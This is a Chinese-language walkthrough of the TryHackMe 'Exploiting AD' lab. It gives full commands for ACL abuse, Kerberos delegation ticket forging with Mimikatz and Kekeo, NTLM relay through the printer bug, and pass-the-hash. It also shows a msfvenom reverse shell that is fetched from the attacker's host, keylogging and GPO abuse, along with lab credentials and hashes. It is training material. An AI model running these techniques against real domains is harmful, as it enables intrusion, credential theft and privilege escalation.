AD Exploitation

实验环境：https://tryhackme.com/jr/exploitingad

0x01 AD Exploitation

在我们已经完成针对目标AD网络的内部侦察(AD枚举操作)，并了解了关于目标AD结构和企业网络环境的基础情况之后，我们就到了针对目标AD进行漏洞利用的阶段。在漏洞利用(针对目标AD)阶段中，我们通常会利用一些错误的AD配置来执行横向移动以及权限提升操作。

在本次实验中，我们主要将介绍以下一些针对目标AD进行漏洞利用的技巧：

AD Delegation：AD委派机制；
Forcing Authentication Relays：强制进行身份认证中继(转发)；
Group Policy Objects：组策略对象；
Targeting AD Users：针对AD用户；
Domain Trusts：域信任；
Silver and Golden Tickets：银票和金票。

0x02 权限委派

Active Directory可以通过一种被称为“权限委派”的特性来委派权限和特权(不要将它和下一小节中的Kerberos委派弄混淆)。委派授权机制是AD在企业组织中如此受欢迎的原因之一。想象一下，当我们为一个拥有50000名员工的企业组织工作，由于我们需要关注这个企业网络的安全性，所以我们可能只会允许三个用户能够访问DA(域管理员)凭据，而这三个用户不可能处理来自AD用户的所有请求，比如重置AD用户的密码等；但是通过使用权限委派特性，我们就可以将强制更改用户密码的权限委派(授权)给Helpdesk团队，这意味着他们现在对相关的特定功能拥有被授权的权限。

在原则上，为了保证权限委派(授权)机制的安全性，我们应该遵循最小特权(或者最小权限)原则，然而，在大型企业组织中，这其实很难完全实行。在本小节中，我们将探讨如何利用一些错误的权限委派(授权)配置。

权限委派

权限委派攻击通常被称为基于ACL(访问控制列表)的攻击。AD允许管理员配置用于填充自主访问控制列表(DACLs-Discretionary Access Control Lists)的访问控制条目(ACEs-Access Control Entries) ，因此针对权限委派机制的攻击会被称为基于ACL的攻击。几乎任何AD对象都可以使用ACE(访问控制条目)来保护，ACE能够描述任何其他AD对象对于目标对象所拥有的被允许和被拒绝的权限。

如果ACE(访问控制条目)配置错误，那么就可能会被攻击者所利用，我们可以参考以下示例：如果技术支持团队通过域用户组被授予了ForceChangePassword ACE，那么这将被认为是不安全的；当然，该团队可以使用此ACE重置那些忘记自己密码的员工的密码，但是执行这种错误配置也会重置特权帐户的密码，比如域管理员组(Domain Admins group)成员的帐户密码，而这将导致攻击者能够执行权限提升操作。

ACES

有很多ACE(访问控制条目)可能会被错误配置，而且攻击者对于每个ACE的利用情况都有所不同。Bloodhound文档有助于解释通过枚举得到的ACE以及如何利用它们，但是我们在本小节仅会介绍一些值得注意的ACE：

ForceChangePassword：我们可以在不知道用户当前密码的情况下强制设置用户的当前密码，即强制更改用户密码。
AddMembers：我们可以向目标组添加用户(包括我们自己的帐户)、组或计算机。
GenericAll：我们可以完全控制对象，具有更改用户密码、注册SPN(服务主体名称)、向目标组添加AD对象等能力。
GenericWrite：我们可以更新目标对象的任何不受保护的参数；例如，此ACE能够允许我们更新scriptPath参数，这将导致指定的脚本在用户下次登录时执行；或者添加成员。
WriteOwner：我们可以更新目标对象的所有者，我们可以使自己的帐户成为对象的所有者，从而允许我们获得对于指定对象的额外权限。
WriteDACL：我们能够将新的ACE(访问控制条目)写入目标对象的DACL(自主访问控制列表)；例如，我们可以编写一个ACE并授予我们的帐户对目标对象具有完全控制权限。
AllExtendedRights：我们可以针对目标对象执行任何与扩展AD权限相关的操作，例如，授予强制更改用户密码的能力。

为了利用上述这些ACE，我们需要一个能够与AD交互的方法来发送请求，在此我们可以选择使用AD-RSAT PowerShell cmdlets或者PowerSploit。

bloodhound寻找路径

rdp和ssh到跳板机：

xfreerdp /d:za.tryhackme.loc /u:'phillip.wilkins' /p:'Developmental1971' /v:thmwrk1.za.tryhackme.loc /cert:ignore /workarea +clipboard /smart-sizing

ssh za.tryhackme.loc\\phillip.wilkins@thmwrk1.za.tryhackme.loc

由于目标AD域是分层(Tiered)结构，因此我们首先要入侵目标AD域的Tier 2基础设施，我们可以选择攻击Tier 2 Admins组，因为该组在Tier 2的所有工作站上都具有管理特权。

添加DOMAIN USERS@ZA.TRYHACKME.LOC、Tier 2 ADMINS@ZA.TRYHACKME.LOC作为开始和结尾：

如上图所示，Bloodhound给我们展示了一些攻击路径。我们还可以从上图看到目标AD域中的“权限委派”机制，管理员通过向域用户组提供不安全的ACE错误配置了关于IT Support(技术支持)组的权限委派，这意味着域用户组(包括我们所使用的初始AD帐户)中的任何成员都可以向IT Support组添加帐户；此外，Bloodhound还显示IT Support组拥有针对Tier 2 admins组成员的ForceChangePassword ACE。这并不是一个真正的错误配置，因为Tier 2 admins可能不那么敏感，但当它与一些初始的错误配置结合使用时，就能为攻击者提供一个非常有效的攻击路径。

在Bloodhound所展示的攻击路径中，右键点击ACE并选择Help，可以查看相关的提示信息。

添加成员(GenericWrite)

由于委派了GenericWrite 权限，所以上述攻击路径的第一步是将我们所使用的初始AD帐户添加到IT Support组，我们将使用AD-RSAT工具集中的Add-ADGroupMember PowerShell cmdlet执行组成员添加操作。

Add-ADGroupMember "IT Support" -Members "phillip.wilkins"
#验证：
Get-ADGroupMember -Identity "IT Support" | findstr "phillip.wilkins"

强制更改密码(ForceChangePassword)

现在我们已经是IT Support组的成员，那么我们就继承了针对Tier 2 Admins组的ForceChangePassword权限委派(授权)。

为了利用ForceChangePassword，首先，我们需要确定Tier 2 Admins组的成员并选择其中一个作为目标，我们可以再次使用Get-ADGroupMember cmdlet（或者从bloodhound图形化界面选）：

Get-ADGroupMember -Identity "Tier 2 Admins"

选择一个组成员作为目标，这里选择t2_ross.bird，然后使用AD-RSAT cmdlet中的Set-ADAccountPassword来强制更改用户密码：

#gpupdate /force
$Password = ConvertTo-SecureString "My.New.pass123" -AsPlainText -Force
Set-ADAccountPassword -Identity "t2_ross.bird" -Reset -NewPassword $Password

关系到密码复杂性和长度问题，最好选择该密码

注意：如果我们得到一个访问被拒绝的错误，那么说明我们的权限还没有通过域得到传播(这可能需要10分钟)，最好的方法是终止当前的SSH或RDP会话，短暂休息一下，然后重新进行身份验证并再次尝试执行上述命令。

我们还可以运行gpupdate /force命令，然后断开SSH连接并重新连接以完成设置，这在某些情况下会导致同步设置更快生效。

gpupdate /force

如果成功完成以上步骤，我们现在就能够使用我们的目标帐户(属于Tier 2管理组的成员，具有对应的管理员权限)及其新密码来对跳板主机THMWRK1进行身份验证，然后我们就可以获得针对工作站的管理访问权限。通过利用权限委派机制，我们成功执行了权限提升操作并获得了Tier 2 Administrator权限。

xfreerdp /v:thmwrk1.za.tryhackme.loc /u:'t2_ross.bird' /p:'My.New.pass123' +clipboard /smart-sizing

0x03 Kerberos委派

其实，当我们谈到AD委派时，Kerberos委派通常才是我们的谈论内容，而不是权限委派。

Kerberos委派的实际用途是使应用程序能够访问驻留在不同服务器上的资源。例如Web服务器需要访问数据库服务器上被托管的SQL数据库，并将这个SQL数据库用于Web服务器所托管的Web应用程序。

如果没有Kerberos委派，那么我们可能需要使用AD服务帐户，并为其提供对指定数据库的直接访问权限，这样在Web应用程序发出请求时，就会使用对应的服务帐户对所需的数据库进行身份验证并获取相关的数据信息。

然而，基于Kerberos委派，我们可以允许将服务帐户委派给SQL服务器所对应的服务，一旦用户登录到我们的Web应用程序，那么服务帐户将代表该用户请求访问数据库；这意味着用户只能访问数据库中他们拥有相关权限的数据，而无需向服务帐户本身提供任何数据库权限或特权。

具体来说，这种方法的工作流程是：

用户登录Web应用，Web应用使用服务帐户身份运行。
当Web应用需要访问数据库时，它不使用服务帐户自己的身份，而是代表登录的用户请求访问数据库。
SQL服务器会根据该用户在数据库中的权限来判断是否允许Web应用执行相应操作(如SELECT，UPDATE等)。
如果允许，Web应用就可以代表该用户访问数据库，但只能在该用户的权限范围内执行操作。
这样，我们就可以不必给予服务帐户过高的数据库权限，从而避免权限过大带来的安全隐患。

约束性&非约束性委派

Kerberos委派有两种类型。在Kerberos委派的原始实现中，通常使用的是非约束性委派，这是很不安全的方法。从本质上讲，非约束性委派对于委派没有限制，在后台，如果一个设置了“TRUSTED_FOR_DELEGATION”标志的用户向配置了非约束性委派的主机进行身份验证，就会生成该用户帐户的票据授予票据(TGT) ，并会将其存储在内存中，以便以后需要时可以使用。假设攻击者可以攻陷启用了非约束性委派的主机，就可以尝试强制特权帐户对主机进行身份验证，这将允许攻击者拦截已生成的相关TGT并模拟特权服务。

以下是关于非约束性委派的利用示例：
https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976

为了克服非约束性委派的安全缺陷，Microsoft在2003年引入了约束性委派。约束性委派会限制帐户可以委派给哪些服务，如果帐户受到损害，则能够限制相关攻击的危害范围。以下是一些可配置为委派的服务示例：

HTTP - 用于Web应用程序，允许使用AD凭据进行直接身份验证。
CIFS - 即通用网络文件系统(Common Internet File System)，可用于文件共享并能允许将用户委派给共享。
LDAP - 用于委派LDAP服务，以便执行诸如重置用户密码之类的操作。
HOST - 允许对主机上的所有活动帐户进行委派。
MSSQL - 允许将用户帐户委派给SQL服务，以便对数据库进行直接身份验证。

利用约束性委派通常会比利用非约束性委派更加复杂，因为在约束性委派中被委派帐户的可用范围是有限的，然而，我们仍然可以针对约束性委派进行有效地利用。

例如，如果我们能够破坏已经配置了约束性委派的AD帐户，通过查找明文密码或者获取这个帐户的NTLM密码哈希，我们就可以为这个AD帐户生成一个TGT，然后使用此TGT为任何非敏感用户帐户执行票据授予服务器(TGS)请求，以作为指定用户去访问服务(如通过模拟帐户来访问敏感数据库)。

基于资源的约束性委派

Microsoft在2012年还引入了基于资源的约束性委派(RBCD：Resource-Based Constrained Delegation)，它再次为Kerberos委派机制的安全性提供了额外的限制。RBCD完全改变了委派模型，通过使用RBCD，服务会指定可以将哪些对象委派给它，而不是指定哪些对象可以委派给哪个服务，这使得服务所有者能够控制谁可以访问相关服务。在我们的web应用程序示例中，这意味着我们不需要再指定web服务帐户可以委派给数据库服务以实现数据库访问，而是可以指定在数据库服务上允许web服务帐户通过委派访问数据库。

假设我们有权限为服务配置RBCD(基于资源的约束性委派)，这意味着我们可以为AD对象设置msDS-AllowedToActOnBehalfOfOtherIdentity属性，并且我们能够用我们可访问的AD帐户的详细信息填充此属性。此时要获得对服务的访问权限，我们就可以为我们所控制的帐户生成一个TGT，这将允许我们与相关服务进行交互。

RBCD委派模型与其他委派类型的工作方式是相反的。以下是基于资源的约束性委派(RBCD)的利用示例：
https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/

利用约束性委派

接下来，我们将对Kerberos约束性委派进行利用。首先，我们需要枚举可用的委派，这可以通过执行PowerSploit中的Get-NetUser cmdlet来完成。

Import-Module C:\Tools\PowerView.ps1
Get-NetUser -TrustedToAuth

根据上述命令的输出结果，我们能够看到svcIIS帐户可以在THMSERVER1机器上委派HTTP和WSMAN服务。这不仅意味着我们能够假冒用户访问目标网站，也意味着我们可以通过PowerShell远程使用HTTP和WSMAN服务。

注意，在这个情况下我们最理想的选择是模拟Tier 1 Admin组的用户，这将为我们提供对于THMSERVER1的管理访问权限。

如果我们继续使用THMWRK1跳板机执行适当的后渗透枚举操作，我们就会发现跳板主机上有svcIIS用户所运行的服务。假设我们有了相关的管理访问权限，那么我们就可以使用命令来转储svcIIS用户的LSASecrets，它是Windows注册表配置单元(又称Windows注册表储巢)的一部分，存储了Windows服务等特性的相关凭据。

#查看svcIIS用户所运行的服务及其作用
Get-CimInstance -ClassName Win32_Service | Where-Object {$_.StartName -like 'svcIIS*'} | Select-Object *

用mimikatz来转储和凭据相关的重要信息：

privilege::debug
token::elevate
lsadump::secrets

简单介绍一下上述两个主要的mimikatz命令：

token::elevate - 为了转储来自注册表配置单元中的secrets信息，我们需要模拟SYSTEM用户，而此命令可用于提升权限。
lsadump::secrets - 表示Mimikatz将与注册表配置单元进行行交互以获取明文凭据。

拿到了凭据：

svcIIS@za.tryhackme.loc
Password1@

现在我们可以访问与svcIIS帐户相关的密码，并且可以执行Kerberos委派攻击，为此我们会组合使用Kekeo和Mimikatz。我们可以为运行Mimikatz另启一个命令行窗口，但是请确保在执行完刚才的token::elevate等命令之后退出上面的Mimikatz界面，否则稍后将在错误的环境中加载票据。我们将使用Kekeo工具来生成票据，然后再使用Mimikatz将这些票据加载到内存中。

我们先从生成票据开始，首先启动Kekeo.exe：

C:\Tools\kekeo\x64\kekeo.exe

然后我们通过Kekeo生成一个TGT，它可以用来为HTTP和WSMAN服务生成票据：

tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@

关于上述命令的参数解释：

/user - 表示拥有约束性委派权限的用户。
/domain - 指定我们将要攻击的目标域名称，因为Kekeo工具可以用于伪造票据以滥用跨森林信任关系。
/password - 表示与svcIIS帐户关联的密码。

现在我们有了可以执行委派的帐户的TGT，我们可以为我们想要模仿的帐户伪造TGS请求，我们需要为HTTP服务和WSMAN服务来执行这个操作，以允许我们在THMSERVER1机器上创建一个PSSession(PowerShell会话)：

tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc

关于上述命令的参数解释：

/tgt - 我们在此提供于前一步骤中所生成的TGT。
/user - 指定我们想要模拟(即假冒)的用户；由于t1 accounts对本例中的目标服务器具有管理访问权限，因此我们将选择我们想要模拟的t1 account(如t1_trevor.jones)。
/service - 指定我们希望使用委派来模拟的服务，我们首先将为HTTP服务生成一个TGS，然后我们再为WSMAN服务重新运行和上述类似的命令即可。

针对WSMAN服务，运算和以上命令类似的命令：

tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:wsman/THMSERVER1.za.tryhackme.loc

现在我们有了两张TGS票据，我们再使用Mimikatz进行导入：

privilege::debug

kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

如果要验证票据是否成功导入，我们可以先退出上面的Mimikatz，然后运行klist命令。

确认票据成功导入之后，我们就可以在目标主机THMSERVER1上开始尝试创建我们的PSSession(PowerShell会话)了：

New-PSSession -ComputerName thmserver1.za.tryhackme.loc
Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc

0x04 自动中继

在本小节中，我们主要将介绍身份验证机制中的自动中继技术(即NTLM Relay)，我们会学习如何利用身份验证机制中的自动中继强制执行身份验证。

Machine Accounts

在Windows域中的所有主机都有一个对应的机器账户(Machine Accounts)。在本质上，机器账户是与计算机关联的用户账户，除非有人篡改了主机的账户，否则这些机器账户的密码是无法破解的。在默认情况下，机器账户的密码长度为120个字符(UTF16)，并且每30天会自动轮换一次。

在AD中，这些机器账户大量应用于不同的服务，不同的域控制器会使用它们的机器账户来同步AD更新和AD更改。当我们代表正在使用的主机请求证书时，该主机的机器账户将用于对AD证书服务进行身份验证。

在AD中有一个例外的情况，即一台机器对另一台机器拥有管理员权限。本质上，这是在AD配置中将一台主机的管理权限授予另一台主机，同样，这是域控制器或SQL集群等必须同步的预期功能。这就为攻击者强制执行身份验证提供了一个非常有趣的攻击向量。

我们首先需要识别哪些机器帐户对另一台机器具有管理访问权限，为此我们可以使用Bloodhound工具来进行查找，但是这意味着我们必须编写一些自定义的查询，我们可以在Bloodhound的分析选项卡中点击“创建自定义查询”：

MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

此查询将尝试查找一台计算机在另一台计算机上具有“ AdminTo”关系的实例，执行查询之后，我们应该会看到如下所示的类似输出结果：

如上图所示，它向我们展示了THMSERVER2的机器账户对THMSERVER1机器具有管理权限。

Printer Bug

printer bug(打印机缺陷)是MS-RPRN协议(PrintSystem Remote Protocol)的一个特性，它允许域用户远程强制目标主机运行Print Spooler服务以实现对任意IP地址进行身份验证。最近几年出现的类似bug有：Spooler、PetitPotam、PrintNightmare。微软声称唯一的缺陷(bug)是上述这些bug有些根本不需要AD凭据就能通过身份验证，但是这个问题已经通过发布安全补丁解决了。

为了更好地利用Printer Bug特性以强制执行身份验证，除了目标机器帐户的管理权限之外，我们还需要满足以下四个条件：

需要获得一组针对特定目标域的有效AD帐户凭据。
需要具有指向目标SMB服务的网络连接。
目标主机必须正在运行Print Spooler服务(即打印后台处理服务)。
目标主机不能强制执行SMB签名。

Print Spooler

我们需要确定目标的Print Spooler服务(即打印后台处理服务)是否正在运行。因为我们不能直接访问THMSERVER2目标机，所以我们需要从域网络的视角进行信息查询。在这种情况下，我们可以在针对跳板主机THMWRK1的SSH会话界面中使用WMI查询命令来查看目标域的打印机服务的当前状态：

GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc

上述命令的输出结果会告诉我们目标服务是否正在运行，如果在执行上述命令时出现访问拒绝错误的话，我们也可以尝试使用：

Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc

如果执行上述命令后能够返回thmserver2.za.tryhackme.loc主机上的打印机端口信息，那就表示在远程主机上安装并运行了打印机服务，否则我们将无法获取到有关远程主机的打印机端口的信息。

SMB签名

为了尝试强制执行身份验证(基于NTLM Relay)，我们还需要目标主机不能强制执行SMB签名。请注意，允许进行SMB签名和强制执行SMB签名之间存在差异。由于一些遗留系统不支持SMB签名，在默认情况下，SMB服务的配置是允许签名但不强制签名，这意味着只有在被支持的情况下才会使用SMB签名。

为了验证目标服务器THMSERVER1和THMSERVER2没有强制执行SMB签名，我们可以在攻击机上针对目标机器使用Nmap进行扫描：

nmap -Pn --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc

基于上述扫描结果，我们可以看到目标服务器的SMB签名是启用的但是并不被强制执行。

现在，我们利用Printer Bug特性以执行NTLM Relay攻击(一种强制执行身份验证的攻击方式)的条件已经全部满足了。

身份验证中继

注意：这种攻击方式是不稳定的，滥用Print Spooler服务可能会导致该服务崩溃，并且执行结果也不一定会有相应的回调。

我们将基于SpoolSample来利用身份验证中继，它是一个C#漏洞利用程序。

使用编译好的Spoolsample.exe来强制THMSERVER2针对我们的攻击机进行身份验证，然后我们会使用Impacket中的ntlmrelayx.py脚本来中继(转发)身份验证尝试到THMSERVER1机器。

我们的第一步是设置NTLM中继：

#在攻击机上
python /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -smb2support -t smb://"10.200.83.201" -debug

注意，如果我们在上述命令中所指定的是主机名THMSERVER1而不是IP地址，那么目标主机会请求我们使用Kerberos身份验证而不是NTLM身份验证。因此，我们应该在上面的命令中指定IP地址。

通过设置好的中继监听，我们现在可以强迫THMSERVER2机器向我们的攻击机进行NTLM身份验证。在访问跳板主机的SSH终端中执行：

cd c:\tools
.\SpoolSample.exe THMSERVER2.za.tryhackme.loc "Attacker IP"

成功执行上述步骤之后，我们应该会在攻击机上接收到一个身份验证尝试以及指向THMSERVER1的中继(转发)信息：

除此以外，我们可以在设置NTLM中继时添加-c 'whoami /all'以指定执行某个命令，如果我们不指定执行任何命令，那么就会进行hashdump(哈希密码转储)，然后我们就能获得相关凭据，并能使用这些凭据(比如进行PtH攻击)来尝试获取目标主机的shell。

由上述操作，我们得到了具有管理员权限的用户凭据：ServerAdmin:500:aad3b435b51404eeaad3b435b51404ee:3279a0c6dfe15dc3fb6e9c26dd9b066c:::

使用我们所捕获到的属于THMSERVER1机器的NTLM密码哈希进行PtH攻击：

evil-winrm -i <THMSERVER1-ip> -u ServerAdmin -H 3279a0c6dfe15dc3fb6e9c26dd9b066c

0x05 利用AD用户

用户往往是网络安全链中最薄弱的一环，我们将重点关注以下两个关于AD用户的攻击面要素：

Credential Management(凭据管理)：用户如何存储凭据；在AD中，这是非常重要的，因为用户可能有多套凭据对，记住所有这些凭据对可能是一件麻烦事。
Keylogging(键盘记录)：通常，在漏洞利用过程中，我们需要了解普通用户如何与系统进行交互；通过键盘记录和屏幕图像，我们就能从攻击者的视角来加深对目标系统的理解。

查找凭据

通过上文的操作步骤，我们能够实现对THMSERVER1机器的访问(第三或者第四小节的操作结果)，此时，我们就能基于该机器进行枚举以获取有用的信息，比如查看用户目录等。

通过枚举，我们能够找到.kdbx文件(基于上文的操作步骤，我们可以在C:\Users\trevor.local\Documents目录下找到该文件)，它是Keepass数据库的文件格式，可能存储了用户凭据。

为了打开.kdbx数据库文件，我们还需要安装Keepass数据库：

apt install keepassx
apt install -y kpcli

kpcli
open PasswordDatabase.kdbx
ls PasswordDatabase/*
show -f -a PasswordDatabase/General/svcServMan

键盘监控

Meterpreter有一个内置的键盘记录器，可以提取用户的键盘记录。除了启动键盘记录器之外，为了捕获正确的用户凭据，我们还需要确保我们的shell在目标用户的上下文环境中运行，我们需要从THMSERVER1机器的SYSTEM上下文环境迁移到目标用户的上下文环境中，因为上文我们得到的是SYSTEM的shell，幸运的是，SYSTEM能够迁移到任何进程)。

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.50.81.102 LPORT=4443 -f psh -o shell.ps1

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 10.50.81.102
set LPORT 4443

在之前的winrm会话接收并执行：

cd C:\Users\trevor.local\Documents
$wc = New-Object Net.WebClient
$wc. DownloadFile('http://10.50.81.102:8000/shell.ps1', "$PWD\shell.ps1")
.\shell.ps1

成功获得meterpreter shell(system权限)之后，我们准备迁移进程到用户以监听其键盘，可以查看目标计算机上的某个特定进程是否正在运行，例如explorer：

ps | grep "explorer"

注意：如果我们没有看到trevor.local用户的文件资源管理器进程(explorer.exe)正在运行，那么我们可以手动启动explorer.exe进程：

使用命令重置用户密码：net user trevor.local <chosen password>。
在PowerShell中运行命令：C:\auto-login.ps1 trevor.local <chosen password> THMSERVER1。
使用shutdown -r命令重启目标服务器。
目标服务器重新联机之后，我们就应该会看到explorer进程正在运行。

net user trevor.local My.New.pass123
C:\auto-login.ps1 trevor.local My.New.pass123 THMSERVER1
shutdown -r

退出msf会话重连，确认到目标进程后，那么我们就可以尝试迁移到此用户的相关进程，我们使用meterpreter shell并迁移到explorer.exe进程：

migrate <PID>
getuid

然后在会话中使用keyscan_start启动键盘记录器，等待一段时间之后，我们需要运行信息转储命令keyscan_dump，最后keyscan_stop停止监听：

得到凭据数据库文件的密码为：Imreallysurenoonewillguessmypassword

0x06 组策略对象(GPOs)

GPO

当Windows网络从域控制器开始同步GPO时，这些GPOs会保存在 SYSVOL 目录中(该目录会存储一些将被复制到域内计算机中的AD GPOs)。GPO是策略设置的虚拟集合，每个GPO(Group Policy Objects)都有一个唯一的名称，被称为GUID。

每台Windows计算机都有一个本地策略配置，其中包含了几个值得注意的配置，例如：

防火墙、反病毒和Applocker等服务的应用程序配置。
本地组的成员配置，例如管理员组或远程桌面用户组。
启动(Startup)配置，例如应该在计算机启动时被执行的脚本。
安全和协议设置，例如是否支持SMBv1协议。

GPM

如果只有一台Windows计算机，则很容易直接在对应主机上更改本地策略配置；但是，在Windows域网络中，我们需要一种机制来从大型企业网络的中心位置开始部署策略配置，这就需要用的组策略管理(GPM：Group Policy Management)。GPM允许我们直接基于AD结构开始定义策略，而不是在域中的每台计算机上定义本地策略。在本质上，我们可以为所有AD对象定义GPO，例如针对特定的OU(组织单元)或组。

在策略设置完成之后，域内的计算机将定期从SYSVOL目录中提取所有策略并应用相关的策略，在默认情况下，策略将通过gpupdate应用程序每15分钟复制一次(策略会被复制到域内的计算机中)；但是，我们也可以从命令提示符界面(CMD)手动执行gpupdate 应用程序以立即开始应用相关策略。

实验

书接上回，我们现在拿到了svcServMan帐户的凭据，现在可以查看其到THMSERVER2的路径：

可以看到：

SVC SERVMAN@ZA.TRYHACKME.LOC有权修改MANAGEMENT SERVER PUSHES@ZA.TRYHACKME.LOC的属性。
MANAGEMENT SERVER PUSHES@ZA.TRYHACKME.LOC可以链接或应用组策略到MANAGEMENT SERVERS@ZA.TRYHACKME.LOC。
MANAGEMENT SERVERS@ZA.TRYHACKME.LOC包含了THMSERVER2.ZA.TRYHACKME.LOC服务器，这意味着这个GPO会影响到这个服务器。

SVC是服务账户，MANAGEMENT SERVER PUSHES是GPO，MANAGEMENT SERVERS是OU，它包括了THMSERVER2这台服务器

尽管有几种方法可以对GPO进行利用，但是在本小节我们将使用最简单的解决方案，将我们所控制的AD帐户添加到本地管理员组和本地远程桌面用户组；这将允许我们在THMSERVER2目标机器上拥有管理权限，而且我们可以通过RDP访问该目标机器。

注意，因为并不一定能够找到公开可用的来自于目标机器的SSH端口，所以我们往往会通过RDP或者传统的横向移动技术(如SMBExec)来访问目标主机。

为了修改GPO设置，我们需要具有相关权限的AD用户身份来访问组策略管理(GPM)。

虽然我们可以以用户身份通过RDP访问THMSERVER1机器，但是这可能会将正常的用户踢出活动会话，从而会引起防御方的怀疑。

因此，我们将使用普通用户身份或者Tier 2 管理员组的成员帐户先通过RDP访问THMWRK1跳板主机，然后使用runas命令将AD用户(svcServMan用户)的凭据注入内存，再打开MMC以修改THMSERVER2所应用的GPO。

操作步骤概述：

使用标准域用户身份或者Tier 2管理员组的成员帐户(参考第二小节的操作结果)通过RDP登录到THMWRK1；
使用runas注入服务帐户(svcServMan)的凭据；
通过MMC远程编辑THMSERVER2目标机器将会应用的GPO(组策略对象)，在该GPO中添加IT Support组；
使用IT Support组中的成员用户(即本文第二小节中所使用的初始用户身份)，并通过RDP连接到THMSERVER2机器。

使用普通用户身份(或者基于第二小节的操作结果，使用Tier 2管理员组的成员帐户)通过RDP访问THMWRK1跳板主机，然后进行凭据注入：

xfreerdp /d:za.tryhackme.loc /u:'phillip.wilkins' /p:'Developmental1971' /v:thmwrk1.za.tryhackme.loc /cert:ignore +clipboard /smart-sizing

#以管理员用户身份打开cmd并进行凭据注入
runas /netonly /user:za.tryhackme.loc\svcServMan cmd.exe
#填入上小节得到的密码Sup3rStr0ngPass!@

成功完成凭据注入之后，开始执行以下命令：

dir \\za.tryhackme.loc\sysvol #验证凭据注入结果
mmc

打开MMC界面之后，我们开始添加GPM(组策略管理-Group Policy Management)管理单元：

单击“File(文件)” -> “Add/Remove Snap-in(添加/删除管理单元)”；
选择“Group Policy Management(组策略管理)”管理单元，然后单击“Add(添加)”并在添加成功之后单击“Ok(确定)”。

导航到我们的目标GPO：

右键单击上述GPO并选择编辑(Edit)，这将打开新的组策略管理(GPM)编辑器窗口：

为了将我们所控制的AD帐户添加到本地组，我们需要执行以下步骤：

展开“Computer Configuration(计算机配置)”；
展开“Policies(策略)”；
展开“Windows Settings(Windows设置)”；
展开“Security Settings(安全设置)”；
右键单击“Restricted Groups(受限制的组)”，然后选择“Add Group(添加组)”，我们需要添加的组为IT Support；
单击“Browse(浏览)”，输入“IT Support”，然后单击“Check Names(检查名称)”；
单击两次“Okay确定”；
右键ZA\\IT Support，选择properties，在第二个过滤器器中，我们同时添加管理员组和远程桌面用户组Administrators和Remote Desktop Users

等待15分钟以便目标域自动应用我们所修改好的GPO。然后IT Support组的成员用户将拥有针对THMSERVER2目标机器的管理员权限以及RDP访问权限，因为初始用户在前文已经被添加到了IT Support组，至此我们为phillip.wilkins拿到了THMSERVER2的管理员RDP。

xfreerdp /d:za.tryhackme.loc /u:'phillip.wilkins' /p:'Developmental1971' /v:thmserver2.za.tryhackme.loc /cert:ignore +clipboard /smart-sizing

0x07 利用AD证书

通过上一小节的操作步骤，我们现在能够访问THMSERVER2，但是为了进一步移动到AD域网络的下一层级，我们还需要再次寻找更具创造性的利用途径。

基于与AD证书相关的博客文章的研究内容(该博客内容包括八个常见的AD CS错误配置)，我们可知攻击者能够利用配置错误的证书模版来执行横向移动和权限提升操作，因此，本小节将简单介绍如何利用AD证书服务。

证书服务

AD证书服务(CS-Certificate Services)是Microsoft的公钥基础设施(PKI-Public Key Infrastructure)的实现。 AD在企业域网络中会提供一定程度的信任关系，而AD证书服务则可以作为能够证明和委派信任的CA。AD证书服务有多种用途，例如加密文件系统、创建和验证数字签名、用于进行用户身份验证等。

由于AD CS是一个特权功能，它通常运行在选定的域控制器上，这意味着普通用户无法真正与AD证书服务交互；另一方面，企业网络往往很庞大，难以让管理员手动创建和分发每个证书，这时候就需要使用证书模板。对于AD CS具有管理员访问权限的用户可以创建多个证书模板，它们可以允许任何具有相关权限的用户自行请求证书，而且这些模板还有一些参数可用于指示哪个用户可以请求证书以及请求证书时所需的内容。攻击者可以将证书模版的参数进行特定组合，然后将其滥用于执行权限提升和权限维持操作。

一些相关的常见术语：

PKI：公钥基础设施(Public Key Infrastructure)是管理证书和公钥加密的系统。
AD CS(证书服务)：Active Directory Certificate Services是Microsoft的PKI实现，该服务通常在域控制器上运行。
CA：证书颁发机构(Certificate Authority)是负责颁发证书的PKI(公钥基础设施)
Certificate Template(证书模板)：是设置和策略的集合，可用于定义CA(证书颁发机构)颁发证书的方式和时间。
CSR：证书签名请求(Certificate Signing Request)是发送到CA(证书颁发机构)以请求已签名的证书的消息。
EKU：扩展/增强型密钥用法(Extended/Enhanced Key Usage)是定义如何使用已生成的证书的对象标识符。

寻找易受攻击的证书模板

为了找到易受攻击的证书模板，我们可以选择使用Windows的内置工具certutil。

certutil -Template -v > templates.txt

上述命令将为我们提供关于所有已配置的证书的信息，此外，我们还可以使用证书审计工具(如PSPKIAudit)来枚举信息。使用上述手动方法往往能够让我们找到所有可能存在的证书模版的错误配置，如果我们所检索到的证书模版的参数值属于恶意组合，那么相关的证书模版将被视为配置错误(能够被攻击者恶意利用)。

本小节仅记录操作，具体原理参见与AD证书相关的博客文章

在本小节中，我们将尝试寻找具有包含以下恶意参数组合的证书模版：

Client Authentication(客户端身份验证)：证书可用于客户端身份验证。
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT：证书模板允许我们指定主体备用名称(SAN-Subject Alternative Name)。
